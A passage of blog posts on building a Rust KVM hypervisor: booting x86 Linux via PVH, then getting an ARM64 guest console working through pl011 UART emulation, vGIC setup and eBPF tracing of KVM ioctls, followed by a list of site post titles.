via boot_params struct. At the time it was a lot more complex and now I wanted
to have some result as soon as possible. So I turned to the PVH
(Para-Virtualized Hardware) Linux boot which simplifies this process a lot. As
a Xen Project protocol, PVH provides a relatively simple interface between a
VMM and the Linux kernel, without requiring the VMM to reproduce the
traditional firmware/bootloader path.

Entering protected mode via BIOS

The traditional way of booting an operating system on an x86 machine is to start
in real mode and then proceed to protected mode. From there, if CPU is 64-bit,
we can go to long mode. In the PVH Linux entry path, Linux performs the
transition from the required 32-bit protected-mode entry state into 64-bit mode
itself.

Setting up real mode

x86 starts at reset vector (physical address 0xFFFFFFF0)
CPU is in 16-bit real mode and firmware like SeaBIOS takes over
SeaBIOS looks at first sector (512 bytes) of a bootable device
if the sector contains 0xAA55 at 510-byte offset, it's loaded at 0x7C00
load the rest of data manually from our boot device (e.g. on 0x8000)
jump to the code section we just loaded (e.g. to address 0x8000)
if necessary, set up Stack Pointer and Stack Segment

Getting to protected mode

make sure interrupts are disabled
set up and load a minimal GDT (Global Descriptor Table)
set PE (Protected Mode Enable) bit in CR0 (Control Register)
perform far jump selecting a proper GDT entry

GDT example

A minimal GDT code set up looks like the following:

gdt_start:
dq 0
gdt_code:; index 1
dw 0xFFFF; segment limit (low)
dw 0x0000; segment base (low)
db 0x00; base address (middle)
db 10011010b; access bits (read/write, executable, code or data, present)
db 11001111b; flags (32-bit protected, 4k blocks) - segment limit (high)
db 0x00; base address (high)

gdt_data:; index 2
dw 0xFFFF; segment limit (low)
dw 0x0000; segment base (low)
db 0x00; base address (middle)
db 10010010b; access bits (read/write, code or data, present)
db 11001111b; flags (32-bit protected, 4k blocks) - segment limit (high)
db 0x00; base address (high)
gdt_end:

gdt_descriptor:
dw gdt_end - gdt_start - 1
dd gdt_start

Then we enter protected mode by executing:

cli
lgdt [gdt_descriptor]

mov eax, cr0
or eax, 1
mov cr0, eax

jmp 0x08:protected_mode_start ; 0x08 is 1 << 3 (select index 1 in GDT)

The far jump reloads CS using the descriptor selected by 0x08. The other
segment registers must be loaded with appropriate protected-mode selectors as
well. Each segment register has a visible selector and hidden descriptor-cache
state containing information such as the base, limit and access rights.

How PVH helps

If we are in a virtual machine, we don't really need to go through all of these
steps. We don't need to have firmware or BIOS to set up CPU state properly, we
can simply do this from the VM.

Here, we can manipulate the vCPU to our will, and therefore we can set segment
registers ourselves to valid values, skipping GDT setup. We do need to do some
administration to help Linux understand what's going on and this is exactly
where PVH comes in.

ELF PVH note

To determine whether an x86 Linux ELF image supports the PVH boot ABI, we can
inspect its Xen ELF notes and look for XEN_ELFNOTE_PHYS32_ENTRY (note type
18). Its descriptor gives the physical 32-bit entry point at which the guest
should be started.

Newer kernels may also contain XEN_ELFNOTE_PHYS32_RELOC (type 19), which
describes alignment and physical-address constraints for relocatable PVH
kernels.

PVH boot memory setup

Boot procedure from PVH is more straightforward, but requires more memory
management from VM:

get RIP from ELF PVH note entry
load Linux kernel ELF segments into memory
copy kernel command line to memory
construct an E820-like memory map using HvmMemEntry entries
construct and fill out HvmStartInfo struct
load memory entries and HvmStartInfo to memory

If using initramfs you also need to load it into memory, along with its
separate initramfs command line. We also need to fill out HvmModuleEntry
struct to point to initramfs and its command line address. Note that
here we are not talking about kernel modules, but rather Xen modules, and
for Linux that only means initramfs.

A good reference for the structures above is actually in the Linux kernel
headers and can be found on:

https://elixir.bootlin.com/linux/v7.1.3/source/include/xen/interface/hvm/start_info.h

Setting up registers

RIP points to entrypoint from ELF note 18 entry
RBX points to HvmStartInfo physical address (this is PVH specific)
set up segment registers to valid Protected Mode state
enable PE bit in CR0 (as in ordinary boot)
initialize CR4 (Control Register 4) to zero
clear VM (bit 17), IF (bit 9) and TF (bit 8) in RFLAGS

Linux kernel-side PVH register setup is described here:

https://elixir.bootlin.com/linux/v7.1.3/source/arch/x86/platform/pvh/head.S#L30

Segment registers

I think the best source for how to set up segment registers is actually my own
code from my Rust KVM project:

let code = kvm_segment {
base: 0,
limit: 0xffff_ffff,
selector: 1 << 3,
type_: 0b1010, // 3rd bit: code/data = 1
   // 2nd bit: conforming = 0
   // 1st bit: readable = 1
   // 0th bit: accessed = 0
present: 1,
dpl: 0, // descriptor privilege level (0: kernel .. 3: userspace)
db: 1,  // default operand / address size (0: 16bit, 1: 32bit)
s: 1,   // system (1: code/data segment, 0: system segment)
l: 0,   // long mode (0: not 64bit segment, 1: 64bit segment)
g: 1,   // granularity (0: limit in bytes, 1: limit in 4Kb blocks)
avl: 0, // available for software (reserved for custom OS purposes)
unusable: 0,
padding: 0,
};

let data = kvm_segment {
selector: 2 << 3,
type_: 0b0010, // 3rd bit: code/data = 0
   // 2nd bit: conforming = 0
   // 1st bit: writable = 1
   // 0th bit: accessed = 0
..code };

sregs2.tr = kvm_segment {
base: 0,
limit: 0x67, // as per Xen project PVH protocol
g: 0,
..code };

With BIOS boot, these segment descriptors would live in a GDT in guest memory
and the CPU would obtain their hidden descriptor state by loading the
corresponding selectors. With KVM, we can bypass the GDT entirely and directly
initialize the vCPU's segment state through KVM_SET_SREGS.

Conclusion

PVH turned out to be a convenient way of getting my x86 KVM implementation to
the point where it could boot a real Linux kernel without first implementing
the traditional x86 boot protocol.

There is still plenty left to implement around the x86 side of the VMM, but
being able to reach the Linux kernel through PVH gives me a much more useful
starting point than reproducing the complete BIOS boot sequence first.

The implementation is available in the x86 initialization code in my kvm-rust
repository:

https://github.com/StjepanPoljak/kvm-rust/blob/main/src/arch/x86_64/init.rs

I plan to continue extending functionality of the x86 side of my VMM.

Booting ARM64 Linux in my Rust KVM Hypervisor: Getting to the console with help of eBPF

Fri, 25 Sep 2026 14:40:06 +0000

Recap

In the previous article I got ARM64 Linux as far
as executing inside my Rust KVM hypervisor. I still couldn't actually interact
with the guest, though: I had no working console.

This article is about getting from "the PC is moving" to typing "hello" into
Linux and getting "HELLO" back.

UART

Last time we learned how to obtain the device tree blob from QEMU's virt
machine. Now we want to take a look at what's inside. We can decompile it:

dtc -I dtb -O dts -o virt.dts virt.dtb

Then, a simple search through the file already gives us the clue we need:

pi@raspberrypi:~ $ grep -i uart virt.dts -A5 -B1
        pl011@9000000 {
                clock-names = "uartclk\0apb_pclk";
                clocks = <0x8000 0x8000>;
                interrupts = <0x00 0x01 0x04>;
                reg = <0x00 0x9000000 0x00 0x1000>;
                compatible = "arm,pl011\0arm,primecell";
};

So, now I had a lead: I needed to emulate the pl011 UART at 0x09000000 so
that the existing Linux pl011 driver could communicate with it. This was not a
really interesting part, as most of it was simply reading Linux kernel source
code along with pl011 documentation from ARM. Soon I was able to get output
from Linux and it felt really great:

[    0.000000] Linux version 7.1.3 (docker@stjepan-Aspire-F5-573G) (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP PREEMPT Thu Jul 16 08:52:24 UTC 2026
[    0.000000] KASLR disabled on command line
[    0.000000] Machine model: linux,dummy-virt
[    0.000000] efi: UEFI not found.
[    0.000000] OF: reserved mem: Reserved memory: No reserved-memory node in the DT
[    0.000000] NUMA: Faking a node at [mem 0x0000000040000000-0x0000000047ffffff]
[    0.000000] NODE_DATA(0) allocated [mem 0x47fc10c0-0x47fc37bf]
                  ### omitted further kernel log ###

Creating custom initramfs

Now I needed bidirectional UART support so that I could send input to the guest
as well. To make further investigation easier, I created a very simple binary
written in C to be run as the Linux init process: it just prints out current
interrupt statistics and asks user for input, echoing it back in all caps. All
we then need is initramfs.txt file with some simple folders and devices:

dir / 0755 0 0
dir /dev 0755 0 0
dir /proc 0555 0 0
dir /sys 0555 0 0
nod /dev/kmsg 0600 0 0 c 1 11
nod /dev/console 0600 0 0 c 5 1
file /init /home/stjepanp/Develop/initramfs/init 0755 0 0

I only needed enough of a filesystem to provide /init, /dev/console, and
access to /proc for interrupt statistics. Then, in the Linux source code
folder, we generate initramfs with:

./usr/gen_initramfs.sh ../initramfs/initramfs.txt -o initramfs

To see at which memory address to add initramfs, we can run ordinary QEMU with
our initramfs and see what happens:

KERNEL=/home/pi/Image
qemu-system-aarch64                                             \
        -M virt,dumpdtb=virt.dtb                                \
        -enable-kvm                                             \
        -cpu host                                               \
        -kernel ${KERNEL}                                       \
        -append "console=ttyAMA0 nokaslr rdinit=/init"          \
        -serial stdio                                           \
        -nographic                                              \
        -nodefaults                                             \
        -initrd "./initramfs"

After decompiling virt.dtb (explained in previous article) we can see the location:

pi@raspberrypi:~/dtb $ grep initrd virt-initramfs.dts -B2 -A3
        chosen {
                bootargs = "console=ttyAMA0 initramfs_async=0 rdinit=/init nokaslr";
                linux,initrd-start = <0x0 0x40200000>;
                linux,initrd-end = <0x0 0x40294200>;
                stdout-path = "/pl011@9000000";
                kaslr-seed = <0x8114b902 0xe815aa93>;
        };

We do have to recalculate initrd-end if size of our initramfs file changes.
If that happens, we can easily recompile the device tree blob after changing
the value. Also, let's not forget to load initramfs in Rust code:

const LOAD_ADDR: u64 = 0x40_000_000;
const INITRAMFS_OFFS: u64 = 0x200_000;
const KERN_OFFS: u64 = 0x200_000 + INITRAMFS_OFFS;

impl VM {
    pub fn arch_load_linux(&mut self, vcpu: &mut VCPU, args: &Args) -> io::Result<()> {
        let linux_mem_idx = self.add_mem_region(1024 * 1024 * 1024, LOAD_ADDR)?;
        self.load_file_to_memory(linux_mem_idx, &dtb_path, 0x0)?;
        self.load_file_to_memory(linux_mem_idx, &initramfs_path, INITRAMFS_OFFS)?;
// ...
    }

Setting up vGIC

Even without having the ability to send keystrokes there was one big problem
with the Linux console stdout: The kernel messages were reaching the console,
but once execution reached /init, output stopped behaving as expected. It
took me some time to realize that the ARM architectural timer was also involved.
Its interrupts need to be delivered through the virtual GIC, so I first needed
to create a vGIC. It turned out creating the vGIC was easy. I just followed the
logic from QEMU source code:

https://elixir.bootlin.com/qemu/v11.0.1/source/accel/kvm/kvm-all.c#L4035

In Rust this translates to:

let mut create_device: kvm_create_device = unsafe { std::mem::zeroed() };
create_device.type_ = KVM_ARM_DEVICE_VGIC_V2;
create_device.fd = 0xffffffff;
create_device.flags = 0;

unsafe { libc::ioctl(self.fd, KVM_CREATE_DEVICE, &mut create_device); }

This worked. Also note that I have omitted proper error handling to keep the
code short and concise.

Tracing IRQ injection

Now if we run our initramfs with strace as before, and we try to type in
some keys, we will see that in our log we have:

pi@raspberrypi:~ $ grep -i irq kvm.log | tail -n5
458398 ioctl(9<anon_inode:kvm-vm>, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7fd932dbd0) = 0
458403 ioctl(9<anon_inode:kvm-vm>, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db70) = 0
458403 ioctl(9<anon_inode:kvm-vm>, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db30) = 0
458403 ioctl(9<anon_inode:kvm-vm>, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db20) = 0
458403 ioctl(9<anon_inode:kvm-vm>, 0x4008ae61 /* KVM_IRQ_LINE */, 0x7f85c1db70) = 0

So our ioctl for IRQ injection actually takes an address as argument. If we
investigate this, we can find out how KVM_IRQ_LINE is handled in the Linux
kernel:

https://elixir.bootlin.com/linux/v6.1.21/source/virt/kvm/kvm_main.c#L4776

Reading this code we see that the relevant function is kvm_vm_ioctl_irq_line
that takes struct kvm_irq_level as second argument and this is what we need
to interpret:

/* for KVM_IRQ_LINE */
struct kvm_irq_level {
/*
 * ACPI gsi notion of irq.
 * For IA-64 (APIC model) IOAPIC0: irq 0-23; IOAPIC1: irq 24-47..
 * For X86 (standard AT mode) PIC0/1: irq 0-15. IOAPIC0: 0-23..
 * For ARM: See Documentation/virt/kvm/api.rst
 */
union {
__u32 irq;
__s32 status;
};
__u32 level;
};

For this purpose, we can treat it as an 8-byte structure containing the IRQ number and level. Therefore, we can easily inspect it again via eBPF when we
run QEMU with our initramfs:

pi@raspberrypi:~ $ sudo bpftrace -e 'kprobe:kvm_vm_ioctl_irq_line { printf("irq_level=%x\n", *((uint64 *)arg1)); }'
Attaching 1 probe...
irq_level=1000021
irq_level=1000021
irq_level=1000021
irq_level=1000021

Without wasting much time we can easily reconstruct this behavior in Rust:

pub fn arch_update_irq(level: u32, vm_fd: libc::c_int) -> io::Result<()> {
    let mut irq: kvm_irq_level = unsafe { std::mem::zeroed() };
    irq.level = level;
    irq.__bindgen_anon_1.irq = 0x1000021;

    let ret = unsafe {
        libc::ioctl(vm_fd, KVM_IRQ_LINE, &mut irq)
    };

    if ret < 0 {
        return Err(io::Error::last_os_error());
    }

    Ok(())
}

Note that, in essence, 0x1000021 is not an arbitrary magic number. On ARM64,
KVM_IRQ_LINE encodes the interrupt type and interrupt ID in the irq field. Here 0x01 selects an SPI and 0x21 is interrupt 33 the UART interrupt from
the device tree.

No such device or address

However, when we run our program, it fails with "No such device or address". To
get some clue on what is going on, we can try strace and get:

ioctl(5, KVM_RUN, 0)                    = -1 ENXIO (No such device or address)
Error: Os { code: 6, kind: Uncategorized, message: "No such device or address" }

My first impulse was to search for ENXIO in Elixir bootlin, but,
unfortunately, there were simply too many functions and branches that could
return ENXIO. Rather than trying to follow every possible ENXIO path
manually, I decided to use a more brute-force approach. I attached kretprobes
to the KVM functions and looked for one returning -ENXIO:

pi@raspberrypi:~ $ sudo bpftrace -e 'kretprobe:kvm_* /retval == (uint32)(-6)/ { printf("%s\n", probe); }'
Attaching 487 probes...
kretprobe:kvm_vgic_map_resources
kretprobe:kvm_arch_vcpu_run_pid_change

The second function here does not seem really relevant, so I tried looking for
kvm_vgic_map_resources on Elixir:

https://elixir.bootlin.com/linux/v6.1.21/source/arch/arm64/kvm/vgic/vgic-v2.c#L289

Now taking a look at the function we can clearly see where ENXIO is returned:

int vgic_v2_map_resources(struct kvm *kvm)
{
    struct vgic_dist *dist = &kvm->arch.vgic;
    int ret = 0;

    if (IS_VGIC_ADDR_UNDEF(dist->vgic_dist_base) ||
        IS_VGIC_ADDR_UNDEF(dist->vgic_cpu_base)) {
        kvm_debug("Need to set vgic cpu and dist addresses first\n");
        return -ENXIO;
    }
    // ...

Now we have a hint. We need to set vGIC CPU and distributor addresses first. To
confirm our hypothesis we can try tracing this function specifically:

pi@raspberrypi:~ $ sudo bpftrace -e 'kretprobe:vgic_v2_map_resources { printf("ret=%u\n", retval); }'
Attaching 1 probe...
ret=4294967290

Finding out distributor address

My first attempt to set up distributor address didn't go well. I wrote the
following code (I extracted distributor address from the device tree and
tried to reconstruct the logic from QEMU source code):

let dist_addr: u64 = 0x08_000_000;
let mut dev_attr: kvm_device_attr = unsafe { std::mem::zeroed() };
dev_attr.group = KVM_DEV_ARM_VGIC_GRP_ADDR;
dev_attr.attr = KVM_VGIC_V2_ADDR_TYPE_DIST;
dev_attr.flags = 0;
dev_attr.addr = dist_addr;

unsafe { libc::ioctl(create_device.fd as i32, KVM_SET_DEVICE_ATTR, &mut dev_attr) };

However, when I ran the program, I got:

ioctl(6, KVM_SET_DEVICE_ATTR, 0x7ffe2696d8) = -1 EFAULT (Bad address)

To debug this, I needed to inspect the values defined in
struct kvm_device_attr, but it was a lot more complicated: I had to check if
the struct I was tracing was for KVM_DEV_ARM_VGIC_GRP_ADDR group and for
KVM_VGIC_V2_ADDR_TYPE_DIST. So, I decided to write my eBPF program in C with
and called it probe-kvm.bpf.c:

#include <linux/bpf.h>
#include <linux/types.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <linux/kvm.h>
#include <stdbool.h>
#include <stdint.h>

char LICENSE[] SEC("license") = "GPL";

SEC("kprobe/vgic_v2_set_attr")
int BPF_KPROBE(kprobe_vgic_v2_set_attr, void *dev, struct kvm_device_attr *dev_attr)
{
        struct kvm_device_attr attr;
        __u64 value;

        bpf_probe_read_kernel(&attr, sizeof(attr), dev_attr);
        if (attr.group != KVM_DEV_ARM_VGIC_GRP_ADDR) {
                return 0;
        }

        if ((attr.attr != KVM_VGIC_V2_ADDR_TYPE_DIST) && (attr.attr != KVM_VGIC_V2_ADDR_TYPE_CPU)) {
                return 0;
        }

        bpf_printk("\nset_attr: attr=%s addr=0x%llx", attr.attr == KVM_VGIC_V2_ADDR_TYPE_DIST ? "DIST" : "CPU", attr.addr);

        return 0;
}

To compile and run it I wrote the following script:

#!/bin/sh

clang -O2 -g -mcpu=v1 -target bpf -I /usr/include/aarch64-linux-gnu -c probe-kvm.bpf.c -D__TARGET_ARCH_arm64 -o probe-kvm.bpf.o
sudo rm -rf /sys/fs/bpf/vgic
sudo bpftool prog loadall probe-kvm.bpf.o /sys/fs/bpf/vgic autoattach
sudo cat /sys/kernel/debug/tracing/trace_pipe

So, I started ordinary QEMU along my eBPF trace and got this output:

$ ./start-probe.sh
           <...>-146994  [002] d..31 953951.139387: bpf_trace_printk: 
set_attr: attr=CPU addr=0x7fd4d3c450

           <...>-146994  [002] d..31 953951.139418: bpf_trace_printk: 
set_attr: attr=DIST addr=0x7fd4d3c450

This really looked like a userspace address while I was supplying a raw address.
To find out what was at that address I modified the last line of the BPF program
above:

        if (bpf_probe_read_user(&value, sizeof(value), (void *)attr.addr) != 0)
                return -1;

        bpf_printk("\nset_attr: attr=%s addr=0x%llx, *addr=0x%llx\n", attr.attr == KVM_VGIC_V2_ADDR_TYPE_DIST ? "DIST" : "CPU", attr.addr, value);

With this I got what I didn't really expect:

           <...>-147143  [000] d..31 954397.183145: bpf_trace_printk: 
set_attr: attr=CPU addr=0x7fdc806ca0, *addr=0x8010000

           <...>-147143  [000] d..31 954397.183177: bpf_trace_printk: 
set_attr: attr=DIST addr=0x7fdc806ca0, *addr=0x8000000

So the addr field is actually a pointer to the address, and not the address
itself. Note that 0x8010000 and 0x8000000 are the guest physical
addresses of the GIC CPU interface and distributor taken from the virt machine's
device tree:

pi@raspberrypi:~/dtb $ grep -i intc virt.dts -A3
        intc@8000000 {
                phandle = <0x8001>;
                reg = <0x00 0x8000000 0x00 0x10000 0x00 0x8010000 0x00 0x10000>;
                compatible = "arm,cortex-a15-gic";

This also explained the EFAULT: KVM was trying to dereference
attr.addr as a userspace pointer. With this small fix, I got a fully working
Linux console:

dev_attr.addr = &dist_addr as *const u64 as u64;

The following snippet shows that my init process (as part of
initramfs) was run and it echoed back my input in capital letters:

[    0.832623] clk: Disabling unused clocks
[    0.834046] PM: genpd: Disabling unused power domains
[    0.845565] Freeing unused kernel memory: 12672K
[    0.847475] Run /init as init process
           CPU0       
 11:        199 GIC-0  27 Level     arch_timer
 13:          0 GIC-0  33 Level     uart-pl011
IPI0:         0       Rescheduling interrupts
IPI1:         0       Function call interrupts
IPI2:         0       CPU stop interrupts
IPI3:         0       CPU stop NMIs
IPI4:         0       Timer broadcast interrupts
IPI5:       168       IRQ work interrupts
IPI6:         0       CPU backtrace interrupts
IPI7:         0       KGDB roundup interrupts
Err:          0

type a string: hello
allcaps: HELLO

[    2.224776] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000000
[    2.227382] CPU: 0 UID: 0 PID: 1 Comm: init Not tainted 7.1.3 #1 PREEMPT 
[    2.229749] Hardware name: linux,dummy-virt (DT)

The interrupt statistics are also printed from my init. Also, when init
exits, we get the (correct) Kernel panic that init process was terminated.

Final thoughts

At this point I finally had what I was looking for: a real Linux userspace
running inside my own KVM-based hypervisor, with a working UART, interrupt
delivery and a minimal initramfs.

More importantly, I now had a way to interact with the guest and inspect what
was happening inside KVM. That gives me a much better foundation for the next
step: implementing more of the virtual hardware needed to turn this into a
useful ARM64 virtual machine.

You can also check out the repository on my GitHub page and, if you have a
Raspberry Pi 4B, try the VMM yourself:

https://github.com/StjepanPoljak/kvm-rust

Coder Legion - Recent posts tagged linux

Tailscale 1.104.4 Patches Four SSH and Serve Bulletins: How to Remediate

💡 Why This Matters for Homelab Users

🧰 Prerequisites

🔍 What the Vulnerability Was

🛡️ Remediation Steps

🔧 Audit Your ACL Policy While You Are At It

🔧 Troubleshooting

✅ Wrap Up

Finding the world-writable files on your server before someone else does

How to Install a WAF with the Official Linux Manager Script on a Checked Host

What does the official manager script require?

Does a finished script mean the site is already protected?

Where is the first console password documented?

When is the manual compose path the documented alternative?

Which settings are outside the automatic command?

Why I Check the Host Before the Official Linux WAF Manager Script

What does the official manager script require on Linux?

Is the web console available as soon as the script finishes?

Does installation alone proxy my existing site?

Should an ARM host use the same one-line install without extra review?

How do I remove a test install without leaving the stack running?

The log was deleted. Its 48M was still allocated.

From Silence to Sound: Fixing Audio on Ubuntu Linux on my Samsung Galaxy Book

The Problem

The Breakthrough

The Automation

The Tool: galaxybook-linux-setup

Who This Might Helps

Credit Where Due

The Bigger Picture

Patch These Four Linux Kernel Local Root Vulns Now: DirtyAH6, PPPoEject, TUNderflow, and DiagSpill

💡 Why This Matters for Homelabbers

🧰 Prerequisites

🔧 Step-by-Step: Patching Your Nodes

🛡️ Patch Status, Checked 29 September 2026

🛡️ What Each Vulnerability Affects

🛡️ Hardening Beyond the Patch

🔧 Troubleshooting

✅ Wrap Up

Related from the lab

PS4 Pro Belize DDR3 patch v2

New: Software Pays Hotel Owners

Why grep "error|failed" finds nothing in a log full of failures

bash ran a path that no longer existed, and exited 127

rsync's dangerous flags don't fail. They do a different job and exit 0.

How to Enable MAC Address Randomisation in Linux Desktop

Why a Persistent MAC Address Is a Problem

How This Project Solves It

Installation

Debian based

Other distros

My Network Engineering Home Lab setup

Introduction

Tenda Router Setup

ThinkCentre M81 Server setup

Installing Linux Mint

Turning the desktop into a server

Why I Built Total Connect: A Modern Open-Source FileZilla & Total Commander Alternative in Go

What makes Total Connect different?

Try it out:

Every disk-alert script I had piped into a command this machine does not have

One empty variable, one error, one wrong answer, exit 0

Is Linux an Operating System or Just a Kernel?

What Is an Operating System?

What Is a Kernel?

Then What Is Linux?

So Where Do Commands Come From?

What Is a Linux Distribution?

Why Do Some People Say GNU/Linux?

How Everything Fits Together

What I Learned

Conclusion

Linux from Scratch #1: What is Unix? Why Was It Created?

Welcome: Why I Started Learning Linux

I escaped the dot correctly and sed still rewrote a file marked DO NOT CHANGE

CAN Bus and J1939 Integration on Rugged Vehicle Tablets: A Practical Guide

CAN Bus: the physical layer

J1939: the messaging layer on top

ISO 11783 (ISOBUS) and ISO 15765